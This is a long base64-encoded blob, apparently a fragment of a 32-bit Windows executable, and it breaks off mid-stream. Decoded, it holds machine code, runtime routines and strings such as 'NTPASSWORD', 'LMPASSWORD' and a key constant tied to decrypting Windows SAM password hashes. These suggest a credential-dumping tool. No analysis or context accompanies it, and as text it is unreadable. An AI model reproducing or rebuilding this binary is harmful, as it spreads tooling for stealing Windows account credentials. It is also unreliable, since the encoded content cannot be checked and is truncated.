7BChAMACEINl+ACDZfwAU1e/TuZAu7sAAP//O8d0DYXDdAn30KMEwAIQ61tWjUX4UP8ViJEBEIt1/DN1+P8VSJEBEDPw/xUgkQEQM/D/FSSRARAz8I1F8FD/FSiRARCLRfQzRfAz8Dv3dAiFHQDAAhB1Bb5P5kC7iTUAwAIQ99aJNQTAAhBeX1vJw4v/VYvsi00MVjP2O852KGrgM9JY9/E7RRBzHOjBw///VlZWVlbHAAwAAADopcP//4PEFDPA6w8Pr00QUf91COg3GQAAWVleXcOL/1WL7FNWi3UIM9tXO/N1Hv8VFJMBEFNTU1NTxwAWAAAA6GXD//+DxBTp3gAAAItGDKiDD4TTAAAAqEAPhcsAAACoAnQLg8ggiUYM6bwAAACDyAGJRgypDAEAAHSz/3YYi0YIiz0kkwEQUFaJBv/XWVD/FdiSARCDxAyJRgQ7w3R7g/j/dHb2RgyCdUVW/9dZg/j/dCdW/9dZg/j+dB5W/9eLDdySARDB+AVWjRyB/9eD4B9rwCQDA1lZ6wWh4JIBEIpABCSCPIJ1B4FODAAgAACBfhgAAgAAdRWLRgyoCHQOqQAEAAB1B8dGGAAQAACLDv9OBA+2AUGJDusT99gbwIPgEIPAEAlGDIleBIPI/19eW13Di/9Vi+yD7CyLRQgPt0gKU4vZgeEAgAAAiU3si0gGiU3gi0gCD7cAgeP/fwAAgev/PwAAweAQV4lN5IlF6IH7AcD//3UnM9szwDlcheB1DUCD+AN89DPA6aUEAAAzwI194KuragKrWOmVBAAAg2UIAFaNdeCNfdSlpaWLNUDAAhBOjU4Bi8GZg+IfA8LB+AWL0YHiHwAAgIld8IlF9HkFSoPK4EKNfIXgah8zwFkrykDT4IlN+IUHD4SNAAAAi0X0g8r/0+L30oVUheDrBYN8heAAdQhAg/gDfPPrbovGmWofWSPRA8LB+AWB5h8AAIB5BU6DzuBGg2X8ACvOM9JC0+KNTIXgizED8ol1CIsxOXUIciI5VQjrG4XJdCuDZfwAjUyF4IsRjXIBiXUIO/JyBYP+AXMHx0X8AQAAAEiLVQiJEYtN/HnRiU0Ii034g8j/0+AhB4tF9ECD+AN9DWoDWY18heAryDPA86uDfQgAdAFDoTzAAhCLyCsNQMACEDvZfQ0zwI194Kurq+kNAgAAO9gPjw8CAAArRfCNddSLyI194KWZg+IfA8Kli9HB+AWB4h8AAICleQVKg8rgQoNl9ACDZQgAg8//i8rT58dF/CAAAAApVfz314tdCI1cneCLM4vOI8+JTfCLytPui038C3X0iTOLdfDT5v9FCIN9CAOJdfR804vwagLB5gKNTehaK8470HwIizGJdJXg6wWDZJXgAEqD6QSF0n3nizVAwAIQTo1OAYvBmYPiHwPCwfgFi9GB4h8AAICJRfR5BUqDyuBCah9ZK8oz0kLT4o1cheCJTfCFEw+EggAAAIPK/9Pi99KFVIXg6wWDfIXgAHUIQIP4A3zz62aLxplqH1kj0QPCwfgFgeYfAACAeQVOg87gRoNlCAAz0ivOQtPijUyF4IsxjTwWO/5yBDv6cwfHRQgBAAAAiTmLTQjrH4XJdB6NTIXgixGNcgEz/zvycgWD/gFzAzP/R4kxi89Ied6LTfCDyP/T4CEDi0X0QIP4A30NagNZjXyF4CvIM8Dzq4sNRMACEEGLwZmD4h8DwovRwfgFgeIfAACAeQVKg8rgQoNl9ACDZQgAg8//i8rT58dF/CAAAAApVfz314tdCI1cneCLM4vOI8+JTfCLytPui038C3X0iTOLdfDT5v9FCIN9CAOJdfR804vwagLB5gKNTehaK8470HwIizGJdJXg6wWDZJXgAEqD6QSF0n3nagIz21jpWgEAADsdOMACEIsNRMACEA+MrQAAADPAjX3gq6urgU3gAAAAgIvBmYPiHwPCi9HB+AWB4h8AAIB5BUqDyuBCg2X0AINlCACDz/+LytPnx0X8IAAAAClV/PfXi10IjVyd4Iszi84jz4lN8IvK0+6LTfwLdfSJM4t18NPm/0UIg30IA4l19HzTi/BqAsHmAo1N6ForzjvQfAiLMYl0leDrBYNkleAASoPpBIXSfeehOMACEIsNTMACEI0cATPAQOmbAAAAoUzAAhCBZeD///9/A9iLwZmD4h8DwovRwfgFgeIfAACAeQVKg8rgQoNl9ACDZQgAg87/i8rT5sdF/CAAAAApVfz31otNCIt8jeCLzyPOiU3wi8rT74tNCAt99Il8jeCLffCLTfzT5/9FCIN9CAOJffR80IvwagLB5gKNTehaK8470HwIizGJdJXg6wWDZJXgAEqD6QSF0n3nM8Beah9ZKw1EwAIQ0+OLTez32RvJgeEAAACAC9mLDUjAAhALXeCD+UB1DYtNDItV5IlZBIkR6wqD+SB1BYtNDIkZX1vJw4v/VYvsg+wsi0UID7dIClOL2YHhAIAAAIlN7ItIBolN4ItIAg+3AIHj/38AAIHr/z8AAMHgEFeJTeSJReiB+wHA//91JzPbM8A5XIXgdQ1Ag/gDfPQzwOmlBAAAM8CNfeCrq2oCq1jplQQAAINlCABWjXXgjX3UpaWlizVYwAIQTo1OAYvBmYPiHwPCwfgFi9GB4h8AAICJXfCJRfR5BUqDyuBCjXyF4GofM8BZK8pA0+CJTfiFBw+EjQAAAItF9IPK/9Pi99KFVIXg6wWDfIXgAHUIQIP4A3zz626LxplqH1kj0QPCwfgFgeYfAACAeQVOg87gRoNl/AArzjPSQtPijUyF4IsxA/KJdQiLMTl1CHIiOVUI6xuFyXQrg2X8AI1MheCLEY1yAYl1CDvycgWD/gFzB8dF/AEAAABIi1UIiRGLTfx50YlNCItN+IPI/9PgIQeLRfRAg/gDfQ1qA1mNfIXgK8gzwPOrg30IAHQBQ6FUwAIQi8grDVjAAhA72X0NM8CNfeCrq6vpDQIAADvYD48PAgAAK0XwjXXUi8iNfeClmYPiHwPCpYvRwfgFgeIfAACApXkFSoPK4EKDZfQAg2UIAIPP/4vK0+fHRfwgAAAAKVX899eLXQiNXJ3gizOLziPPiU3wi8rT7otN/At19Ikzi3Xw0+b/RQiDfQgDiXX0fNOL8GoCweYCjU3oWivOO9B8CIsxiXSV4OsFg2SV4ABKg+kEhdJ954s1WMACEE6NTgGLwZmD4h8DwsH4BYvRgeIfAACAiUX0eQVKg8rgQmofWSvKM9JC0+KNXIXgiU3whRMPhIIAAACDyv/T4vfShVSF4OsFg3yF4AB1CECD+AN88+tmi8aZah9ZI9EDwsH4BYHmHwAAgHkFToPO4EaDZQgAM9IrzkLT4o1MheCLMY08Fjv+cgQ7+nMHx0UIAQAAAIk5i00I6x+FyXQejUyF4IsRjXIBM/878nIFg/4BcwMz/0eJMYvPSHnei03wg8j/0+AhA4tF9ECD+AN9DWoDWY18heAryDPA86uLDVzAAhBBi8GZg+IfA8KL0cH4BYHiHwAAgHkFSoPK4EKDZfQAg2UIAIPP/4vK0+fHRfwgAAAAKVX899eLXQiNXJ3gizOLziPPiU3wi8rT7otN/At19Ikzi3Xw0+b/RQiDfQgDiXX0fNOL8GoCweYCjU3oWivOO9B8CIsxiXSV4OsFg2SV4ABKg+kEhdJ952oCM9tY6VoBAAA7HVDAAhCLDVzAAhAPjK0AAAAzwI194Kurq4FN4AAAAICLwZmD4h8DwovRwfgFgeIfAACAeQVKg8rgQoNl9ACDZQgAg8//i8rT58dF/CAAAAApVfz314tdCI1cneCLM4vOI8+JTfCLytPui038C3X0iTOLdfDT5v9FCIN9CAOJdfR804vwagLB5gKNTehaK8470HwIizGJdJXg6wWDZJXgAEqD6QSF0n3noVDAAhCLDWTAAhCNHAEzwEDpmwAAAKFkwAIQgWXg////fwPYi8GZg+IfA8KL0cH4BYHiHwAAgHkFSoPK4EKDZfQAg2UIAIPO/4vK0+bHRfwgAAAAKVX899aLTQiLfI3gi88jzolN8IvK0++LTQgLffSJfI3gi33wi0380+f/RQiDfQgDiX30fNCL8GoCweYCjU3oWivOO9B8CIsxiXSV4OsFg2SV4ABKg+kEhdJ95zPAXmofWSsNXMACENPji03s99kbyYHhAAAAgAvZiw1gwAIQC13gg/lAdQ2LTQyLVeSJWQSJEesKg/kgdQWLTQyJGV9bycOL/1WL7IPsGKEAwAIQM8WJRfyLRRBTVjP2V8dF6E5AAACJMIlwBIlwCDl1DA+GRgEAAIsQi1gEi/CNffClpaWLysHpH408Eo0UGwvRi0gIi/PB7h8DyQvOiX3si/eDZewAi9rB6x8DycHvHwvLi13wA/YD0gvXjTweiTCJUASJSAg7/nIEO/tzB8dF7AEAAAAz24k4OV3sdBqNcgE78nIFg/4BcwMz20OJcASF23QEQYlICItIBItV9I0cETP2O9lyBDvacwMz9kaJWASF9nQD/0AIi034AUgIg2XsAI0MP4vXweofjTwbC/qLUAiL88HuH40cEotVCAveiQiJeASJWAgPvhKNNBGJVfA78XIEO/JzB8dF7AEAAACDfewAiTB0HI1PATPSO89yBYP5AXMDM9JCiUgEhdJ0BEOJWAj/TQz/RQiDfQwAD4fk/v//M/brJotIBIvRweoQiVAIixCL+sHhEMHvEAvPweIQgUXo8P8AAIlIBIkQOXAIdNW7AIAAAIVYCHUwizCLeASBRej//wAAi84D9sHpH4kwjTQ/C/GLSAiL18HqHwPJC8qJcASJSAiFy3TQZotN6GaJSAqLTfxfXjPNW+g1tv//ycOL/1WL7IPsfKEAwAIQM8WJRfyLRQiLVRAzyVNWM/aJRYiLRQxGV4lFkI194IlNjIl1mIlNtIlNqIlNpIlNoIlNnIlNsIlNlIlVrIoCPCB0DDwJdAg8CnQEPA11A0Lr67MwigJCg/kLD4ftAQAA/ySNO3oBEIrIgOkxgPkIdwZqA1lK6906RSR1BWoFWevTD77Ag+grdB1ISHQNg+gDD4VVAQAAi87rumoCWcdFjACAAADrroNljABqAlnrpYrIgOkxiXWogPkIdrU6RSR1BGoE67k8K3QoPC10JDrDdMU8Qw+OEgEAADxFfhA8Yw+OBgEAADxlD4/+AAAAagbrjUpqC+uIisiA6TGA+QgPhm3///86RSQPhG////86w3SFi1Ws6f0AAACJdajrGjw5fxqDfbQZcwr/RbQqw4gHR+sD/0WwigJCOsN94jpFJHSAPCt0rDwtdKjrhoN9tACJdaiJdaR1JusG/02wigJCOsN09usYPDl/2IN9tBlzC/9FtCrDiAdH/02wigJCOsN95Ou+KsOJdaQ8CXeFagTp4P7//41K/olNrIrIgOkxgPkIdwdqCenJ/v//D77Ag+grdCBISHQQg+gDD4VS////agjpuP7//4NNmP9qB1npgv7//2oH6aX+//+JdaDrA4oCQjrDdPksMTwIdrhK6yiKyIDpMYD5CHarOsPrvYN9IAB0Rw++wIPoK41K/4lNrHTCSEh0sovRg32oAItFkIkQD4TZAwAAahhYOUW0dhCAffcFfAP+RfdP/0WwiUW0g320AA+G3gMAAOtZagpZSoP5Cg+F/v3//+u+iXWgM8nrGTw5fyBryQoPvvCNTDHQgflQFAAAfwmKAkI6w33j6wW5URQAAIlNnOsLPDkPj1v///+KAkI6w33x6U//////TbT/RbBPgD8AdPSNRcRQ/3W0jUXgUOht+///i0WcM9KDxAw5VZh9AvfYA0WwOVWgdQMDRRg5VaR1AytFHD1QFAAAD48iAwAAPbDr//8PjC4DAAC5aMACEIPpYIlFrDvCD4TpAgAAfQ332LnIwQIQiUWsg+lgOVUUdQYzwGaJRcQ5VawPhMYCAADrBYtNhDPSi0WswX2sA4PBVIPgB4lNhDvCD4SdAgAAa8AMA8GL2LgAgAAAZjkDcg6L8419uKWlpf9Nuo1duA+3SwozwIlFsIlF1IlF2IlF3ItFzovxuv9/AAAz8CPCI8qB5gCAAAC//38AAI0UAYl1kA+30mY7xw+DIQIAAGY7zw+DGAIAAL/9vwAAZjvXD4cKAgAAvr8/AABmO9Z3DTPAiUXIiUXE6Q4CAAAz9mY7xnUfQvdFzP///391FTl1yHUQOXXEdQszwGaJRc7p6wEAAGY7znUhQvdDCP///391FzlzBHUSOTN1Dol1zIl1yIl1xOnFAQAAiXWYjX3Yx0WoBQAAAItFmItNqAPAiU2chcl+Uo1EBcSJRaSNQwiJRaCLRaSLTaAPtwkPtwCDZbQAD6/Bi0/8jTQBO/FyBDvwcwfHRbQBAAAAg320AIl3/HQDZv8Hg0WkAoNtoAL/TZyDfZwAf7tHR/9FmP9NqIN9qAB/kYHCAsAAAGaF0n43i33chf94K4t12ItF1NFl1MHoH4vOA/YL8MHpH40EPwvBgcL//wAAiXXYiUXcZoXSf85mhdJ/TYHC//8AAGaF0n1Ci8L32A+38APW9kXUAXQD/0Wwi0Xci33Yi03Y0W3cweAf0e8L+ItF1MHhH9HoC8FOiX3YiUXUddE5dbB0BWaDTdQBuACAAACLyGY5TdR3EYtN1IHh//8BAIH5AIABAHU0g33W/3Urg2XWAIN92v91HINl2gC5//8AAGY5Td51B2aJRd5C6w5m/0Xe6wj/RdrrA/9F1rj/fwAAZjvQciMzwDPJZjlFkIlFyA+UwYlFxEmB4QAAAICBwQCA/3+JTczrO2aLRdYLVZBmiUXEi0XYiUXGi0XciUXKZolVzuseM8BmhfYPlMCDZcgASCUAAACABQCA/3+DZcQAiUXMg32sAA+FPP3//4tFzA+3TcSLdcaLVcrB6BDrL8dFlAQAAADrHjP2uP9/AAC6AAAAgDPJx0WUAgAAAOsPx0WUAQAAADPJM8Az0jP2i32IC0WMZokPi038iXcCZolHCotFlIlXBl9eM81b6Nav///Jw5BPdAEQl3QBEN50ARABdQEQM3UBEGt1ARB7dQEQ1nUBEMF1ARBAdgEQNXYBEOR1ARCL/1WL7IPsFKEAwAIQM8WJRfyLRQxTVv91EIt1CDPJUVFRUVCNRexQjUXwUOg/+f//i9iNRfBWUOjd7P//g8Qo9sMDdROD+AF1BWoDWOsVg/gCdQ5qBOv09sMBdff2wwJ16DPAi038XjPNW+gzr///ycOL/1WL7IPsFKEAwAIQM8WJRfyLRQxTVv91EIt1CDPJUVFRUVCNRexQjUXwUOjN+P//i9iNRfBWUOiv8f//g8Qo9sMDdROD+AF1BWoDWOsVg/gCdQ5qBOv09sMBdff2wwJ16DPAi038XjPNW+jBrv//ycOL/1WL7FFRg30IAP91FP91EHQZjUX4UOgA////i034i0UMiQiLTfyJSATrEY1FCFDoWf///4tFDItNCIkIg8QMycPMzMzMzMzMzMzMzMzMzMyLRCQIi0wkEAvIi0wkDHUJi0QkBPfhwhAAU/fhi9iLRCQI92QkFAPYi0QkCPfhA9NbwhAAi/9Vi+xRVot1DFb/FSSTARCJRQyLRgxZqIJ1GP8VFJMBEMcACQAAAINODCCDyP/pQAEAAKhAdA7/FRSTARDHACIAAADr4lMz26gBdBKJXgSoEHRmi04Ig+D+iQ6JRgyLRgyD4O+DyAKJRgyJXgSJXfypDAEAAHVKoSiTARCNSCA78XQHg8BAO/B1Dv91DP8VzJIBEFmFwHUp/xUUkwEQU1NTU1PHABYAAADoea3//4PEFIPI/+m5AAAAg8ggiUYM6/D3RgwIAQAAV3R5i0YIiz6NSAGJDotOGCv4STv7iU4EfhNXUP91DP8V0JIBEIPEDIlF/OtFi0UMg/j/dBuD+P50FosV3JIBEIvIg+Afa8AkwfkFAwSK6wWh4JIBEPZABCB0F2oCU1P/dQz/FdSSARAjwoPEEIP4/3Qmi0YIik0IiAjrFzP/R1eNRQhQ/3UM/xXQkgEQg8QMiUX8OX38dAmDTgwgg8j/6wiLRQgl/wAAAF9bXsnDi/9Vi+xRVot1CPZGDEBXD4XgAAAAiz0kkwEQVv/XWYP4/3QpVv/XWYP4/nQgU1b/14sN3JIBEMH4BVaNHIH/14PgH2vAJAMDWVlb6wWh4JIBEPZABIAPhJkAAAAz/0f/TgR4CosOD7YBQYkO6wdW6LHo//9Zg/j/dQq4//8AAOmKAAAAiEX8D7bAUP8VCJMBEFmFwHQ0/04EeAqLDg+2AUGJDusHVuh66P//WYP4/3UTD75F/FZQ6MUCAABZuP//AADrSWoCiEX9X1eNRfxQjUUIUP8VEJMBEIPEDIP4/3UO/xUUkwEQxwAqAAAA64tmi0UI6xmDRgT+eAyLDg+3AYPBAokO6wdW6FABAABZX17Jw4v/VYvsg+wMoQDAAhAzxYlF/ItNCFO7//8AAFaLdQyLw1dmO8h0fYtGDKgBdQiEwHlyqAJ1bqhAD4W5AAAAiz0kkwEQVv/XWYP4/3QsVv/XWYP4/nQjVv/Xiw3ckgEQwfgFVo0cgf/Xg+Afa8AkAwNZWbv//wAA6wWh4JIBEPZABIB0cP91CI1F9FD/FfSSARBZWYP4/3Ud/xUUkwEQxwAqAAAAi8OLTfxfXjPNW+j+qv//ycOLTggDyDkOcw2DfgQAdeA7Rhh/24kOjUj/hcl8Df8OSYpUDfWLPogXefMBRgSLRgyD4O+DyAGJRgxmi0UI67KLTQiLRgiDwAI5BnMOg34EAHWdg34YAnKXiQaDBv72RgxAiwZ0D2Y5CHQNg8ACiQbpe////2aJCItGDINGBAKD4O+DyAGJRgxmi8HpYv///8z/JeSSARCL/1WL7FNWi3UIM9tXO/N1Hv8VFJMBEFNTU1NTxwAWAAAA6C2q//+DxBTp6gAAAItGDKiDD4TfAAAAqEAPhdcAAACoAnQLg8ggiUYM6cgAAACDyAGJRgypDAEAAHSz/3YYi0YIiz0kkwEQUFaJBv/XWVD/FdiSARCDxAyJRgQ7ww+EgwAAAIP4AXR+g/j/dHn2RgyCdUVW/9dZg/j/dCdW/9dZg/j+dB5W/9eLDdySARDB+AVWjRyB/9eD4B9rwCQDA1lZ6wWh4JIBEIpABCSCPIJ1B4FODAAgAACBfhgAAgAAdRWLRgyoCHQOqQAEAAB1B8dGGAAQAACLDoNGBP4PtwGDwQKJDusV99gbwIPgEIPAEAlGDIleBLj//wAAX15bXcPM/yVUkwEQ/yVAkQEQ/yXQkwEQ/yXUkwEQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD0nwIAEKACACCgAgAsoAIAQqACAFygAgB0oAIAiKACAJygAgCsoAIAvKACAMygAgDaoAIA8KACAAChAgASoQIAIqECADKhAgBKoQIAXKECAGyhAgCGoQIAmqECALChAgDEoQIA3qECAPChAgAIogIAHKICADKiAgBIogIAXKICAG6iAgCAogIAkKICAK6iAgDAogIA0qICAO6iAgAKowIAKKMCAESjAgBOowIAYqMCAHajAgCKowIAnqMCALCjAgDEowIA1qMCAOajAgD6owIACqQCABqkAgAspAIAPqQCAFKkAgBqpAIAdqQCAAAAAACWpAIArqQCANKkAgDopAIA+KQCABalAgA6pQIATKUCAHClAgCOpQIApKUCAAAAAABysQIAYrECAEixAgAqsQIADrECAPqwAgDcsAIAxrACALqwAgCksAIAhq4CAHKuAgBargIASK4CACquAgAMrgIA/K0CAOCtAgDYrQIAxK0CALKtAgCirQIAlK0CAIStAgB4rQIAYq0CAEitAgA2rQIAHK0CAAqtAgD4rAIA4qwCAMysAgC8rAIAqqwCAJqsAgCErAIAcqwCAGKsAgBMrAIAOqwCACisAgAUrAIABKwCAPCrAgDgqwIAzqsCAMCrAgCwqwIAnqsCAIyrAgB6qwIAaqsCAFyrAgBIqwIAOqsCACKrAgASqwIApqoCAL6qAgDMqgIA2KoCAOSqAgDwqgIA/qoCAAAAAAAupwIAZqcCAHSnAgCSpwIAUKcCACCnAgAQpwIA+KYCAN6mAgDQpgIAeKYCAJKmAgCkpgIAtKYCAAAAAABMqAIAAAAAAEimAgA2pgIAXKYCAAAAAADYpwIACqgCACCoAgC2pwIA7qcCAAAAAABuqAIAAAAAAJyoAgCoqAIAkKgCAAAAAADapQIAHqYCABKmAgAGpgIA8qUCAMilAgAAAAAAfK8CAJCwAgCGsAIAerACAHKwAgBmsAIAWLACAE6wAgBCsAIANrACACywAgAisAIAGrACAA6wAgAAsAIA9K8CAOavAgDWrwIAzK8CAA6vAgAYrwIAJK8CAC6vAgA4rwIAQq8CAEqvAgBUrwIAXK8CAHKvAgDCrwIAhq8CAJSvAgCerwIAqq8CALivAgCasAIAAAAAAASvAgCqqQIA8K4CAOSuAgDYrgIAzK4CAMKuAgC4rgIAqq4CAJapAgCAqQIAZKkCAFCpAgA0qQIAJKkCAAypAgD0qAIA4KgCAMCoAgDCqQIA3KkCAPapAgAYqgIAOKoCAEqqAgBgqgIAdKoCAIqqAgD6rgIAiLECAJKxAgAAAAAAAAAAAAAAAAAAAAAAhi8BEAAAAABJbnZhbGlkIHBhcmFtZXRlciBwYXNzZWQgdG8gQyBydW50aW1lIGZ1bmN0aW9uLgoAAAAAAAAAABjYAhBo2AIQKG51bGwpAAAGgICGgIGAAAAQA4aAhoKAFAUFRUVFhYWFBQAAMDCAUICAAAgAKCc4UFeAAAcANzAwUFCIAAAAICiAiICAAAAAYGBgaGhoCAgHeHBwd3BwCAgAAAgACAAHCAAAACUwNGh1JTAyaHUlMDJodSUwMmh1JTAyaHUlMDJodVoAAAAAAAoAPQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAQgBhAHMAZQA2ADQAIABvAGYAIABmAGkAbABlACAAOgAgACUAcwAKAD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQAKAAAAJQBjAAAAAAA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0ACgAAAAAAAAAwwwIQrMQCEJzFAhAHAAgAsJgCEA4ADwCgmAIQDMYCEDjGAhCoxgIQNAAAAGAAAACgAAAAqAAAALAAAAC4AAAAvAAAABAAAAAUAAAAGAAAACAAAAAoAAAAMAAAADgAAAA8AAAARAAAAEgAAABoAAAAcAAAAHgAAACYAAAAoAAAAJwAAACoAAAAmAAAABAAAAAIAAAAFAAAACwAAABYAAAAmAAAAKgAAAC4AAAAyAAAAMwAAAAQAAAAFAAAABgAAAAgAAAAKAAAADAAAAA4AAAAQAAAAEgAAABMAAAAYAAAAGgAAABwAAAAkAAAAJgAAACUAAAAoAAAAJAAAAAQAAAACAAAABQAAAAkAAAAUAAAAJAAAACgAAAAsAAAAMAAAADEAAAAEAAAABQAAAAYAAAAIAAAACgAAAAwAAAAOAAAAEAAAABIAAAATAAAAGAAAABoAAAAcAAAAJAAAACYAAAAlAAAAKAAAACIAAAAGAAAAAwAAAAYAAAAJAAAAFAAAACQAAAAoAAAALAAAADAAAAAxAAAABAAAAAUAAAAGAAAACAAAAAoAAAAMAAAAEAAAABIAAAAUAAAAFQAAABoAAAAcAAAAHgAAACYAAAAoAAAAJwAAACoAAAAiAAAABgAAAAMAAAAGAAAACgAAABYAAAAmAAAAKgAAAC4AAAAyAAAAMwAAAAQAAAAFAAAABgAAAAgAAAAKAAAADAAAABAAAAASAAAAFAAAABUAAAAaAAAAHAAAAB4AAAAmAAAAKAAAACcAAAAqAAAAJAAAAAYAAAADAAAABgAAADIyQIQJIICEASCAhCwgQIQDgAAADCYARDE/QAQ5P0AEEwAAAAgAAAAOAAAAEQAAAAAAAAABAAAAGQAAAAgAAAAUAAAAFwAAAAAAAAABAAAAGwAAAAgAAAAWAAAAGQAAAAAAAAABAAAAKYhARCkgQIQbIECEA8nARBcgQIQKIECEJ0TARAQtQEQ8IACEBomARDkgAIQtIACEKIgARCkgAIQcIACEP8kARBogAIQPIACEOz9ABAcgAIQyH8CEGv9ABAg/wEQaH8CEH79ABBUfwIQ+H4CECkEARDsfgIQ0H4CEM4TARDAfgIQlH4CEP8TARCIfgIQTH4CEL4RARBAfgIQEH4CEA4QARAAfgIQzH0CEAzGAhCsxAIQMMMCEDjGAhCoxgIQnMUCEKjIAhDIyQIQaAAAAAgAAAAsAAAAMAAAABAAAAAYAAAASAAAACgAAABgAAAAYAAAAAgAAAAsAAAAMAAAABAAAAAYAAAASAAAACgAAABcAAAAqAAAAEAAAABsAAAAcAAAAFAAAABYAAAAiAAAAGgAAACgAAAAoAAAAEAAAABsAAAAcAAAAFAAAABYAAAAiAAAAGgAAACcAAAAqAAAAEAAAAB4AAAAfAAAAFwAAABkAAAAkAAAAHQAAACkAAAAyAAAAEAAAAB0AAAAfAAAAFAAAABYAAAAkAAAAHAAAADAAAAA2AAAAEAAAACAAAAAiAAAAFwAAABkAAAAoAAAAHwAAADQAAAANPQAEM71ABAD9gAQ4NsCEOTbAhBm9wAQhfgAEH36ABCwzAIQtMwCECnvABAgcwIQIHMCEFRzAhAscwIQAAAAAAEAAAAcmgEQAAAAAAAAAAAwMTIzNDU2NzguRj8gISEAcOMAEJi0ARCYtAEQi+wAEORjAhDkYwIQMGQCEPBjAhAAAAAAAgAAAFSaARBa4gAQXeMAEL41Dj53G+dDuHOu2QG2J1vEYwIQAAAAADh4nea1kclPidUjDU1MwrycYwIQAAAAAPNviDxpJqJKqPs/Z1mndUh8YwIQAAAAAPUz4LLeXw1Fob03kfRlcgxoYwIQ9OcAECuhuLQ9GAhJlVm9i85ytYpEYwIQ9OcAEJFyyP72FLZAvZh/8kWYayYwYwIQ9OcAEGjQARAgYwIQAGMCENhiAhCoYgIQgGICEGBiAhA+4gAQ5GECEFhhAhAoYgIQ+GECEAAAAAABAAAANJsBEAAAAAAAAAAA59wAEGhaAhA0WgIQmd0AEJi0ARD4WQIQrN0AEOhZAhDAWQIQv98AELBZAhCAWQIQrFoCEHhaAhAAAAAABAAAAFybARAAAAAAAAAAAHjaABCcVAIQgFQCEInaABB4VAIQAFQCENraABDsUwIQYFMCEOjaABBQUwIQHFMCEPbaABAQUwIQ0FICEDzbABBM+AEQiFICEJLbABB0UgIQMFICEODbABAcUgIQ2FECEC3cABDQUQIQiFECENncABB0UQIQVFECECRVAhAEVQIQqFQCEAoAAAComwEQAAAAAAAAAAAMswEQ3EsCEAAAAAAIAAAAWJwBEAAAAAAAAAAA4NYAELBFAhDASwIQ/9YAEPT+ARCgSwIQHtcAEIRFAhCESwIQPdcAEExFAhBkSwIQXNcAEBhFAhBESwIQe9cAECxLAhAESwIQmtcAEPBKAhDMSgIQudcAEJi0ARCwSgIQptIAEJi0ARAE/wEQctQAEARGAhDoRQIQiNQAENhFAhC8RQIQtdIAELBFAhCQRQIQFdMAEIRFAhBcRQIQKNMAEExFAhAoRQIQO9MAEBhFAhD0RAIQIP8BEBRGAhAAAAAABwAAALicARAAAAAAAAAAAGnSABAMRAIQ5EMCEDxEAhAYRAIQAAAAAAEAAAAonQEQAAAAAAAAAAD6zQAQALMBENy0ARC51wAQvD4CENy0ARC51wAQsD4CENy0ARDUPgIQ3LQBEAAAAAADAAAAUJ0BEAAAAAAAAAAAwL0AEPQyAhCYMgIQ4L0AEIgyAhAYMgIQAL4AEAQyAhCgMQIQIL4AEIgxAhAgMQIQUMEAEBAxAhCIMAIQp8IAEHwwAhAAAAAA+MQAEGwwAhAAAAAAKsoAEFgwAhAAAAAAKDMCEPwyAhAAAAAACAAAAJCdARCivAAQj70AELmSABDoDgIQaA4CEGaUABBYDgIQ0A0CEHmUABDEDQIQMA0CEMStABAoDQIQiAwCEBAPAhDwDgIQAAAAAAQAAAAMngEQAAAAAAAAAAALBgcBCAoOAAMFAg8NCQwETlRQQVNTV09SRAAATE1QQVNTV09SRAAAIUAjJCVeJiooKXF3ZXJ0eVVJT1BBenhjdmJubVFRUVFRUVFRUVFRUSkoKkAmJQAAMDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OQAAAAAAAAAApIwAEAAAAADw/gEQkP4BEF6PABAAAAAAjP4BEEj+ARAAAAAAB8AiADj+ARAY/gEQAAAAAAvAIgAM/gEQ/P0BEAAAAABDwCIAIP8BEAT/ARDGjwAQAAAAANz9ARC8/QEQJZEAEAAAAACg/QEQcP0BENmRABAAAAAATP0BEBD9ARAAAAAAg8AiAAD9ARDk/AEQAAAAAMPAIgDY/AEQxPwBEAAAAAADwSIAqPwBEGz8ARAAAAAAB8EiAFT8ARAY/AEQAAAAAAvBIgAA/AEQyPsBEAAAAAAPwSIAtPsBEHT7ARAAAAAAE8EiAFz7ARAg+wEQPJIAEBfBIgD4+gEQuPoBEGGSABAnwSIAlPoBEFj6ARAAAAAAQ8EiAEj6ARAo+gEQAAAAAEfBIgAQ+gEQ7PkBEP2KABAY+AEQqPcBECiLABCY9wEQcPcBEED4ARAk+AEQAAAAAAIAAAAQoAEQAAAAAAAAAAAAAAAAEXsAEADjARDE4gEQIHwAELTiARCA4gEQr3wAEGTiARAo4gEQqH8AEBziARDY4QEQVokAEMzhARBg4QEQmooAEFThARDw4AEQMOMBEBTjARAAAAAABgAAAEigARBPeQAQpnoAEAAAAACw4AEQAAABAFjgARAAAAcAGOABEAAAAgC43wEQAAAIAGDfARAAAAkAGN8BEAAABADo3gEQAAAGALDeARAAAAUAmN4BEEDeARAY3gEQuN0BEJjdARBI3QEQIN0BEMDcARCM3AEQMNwBEAzcARC42wEQjNsBEBDbARDk2gEQYNoBECzaARDQ2QEQtNkBEGDZARAs2QEQqNgBEHzYARAQ2AEQ9NcBEAEAAADY1wEQAgAAAMTXARADAAAAqNcBEAQAAACE1wEQBQAAAHDXARAGAAAATNcBEAwAAAA01wEQDQAAABDXARAOAAAA7NYBEA8AAADE1gEQEAAAAJzWARARAAAAeNYBEBIAAABU1gEQFAAAAEDWARAVAAAAINYBEBYAAAD81QEQFwAAAODVARAYAAAABQAAAAYAAAABAAAACAAAAAcAAAAAAAAAbNABEGjQARBI0AEQaNABEDDQARAY0AEQCNABEPTPARDkzwEQ0M8BELTPARCozwEQlM8BEIDPARBozwEQVM8BEBgAGgA8zAEQ3EwAENS0ARCktAEQNFEAEJi0ARB4t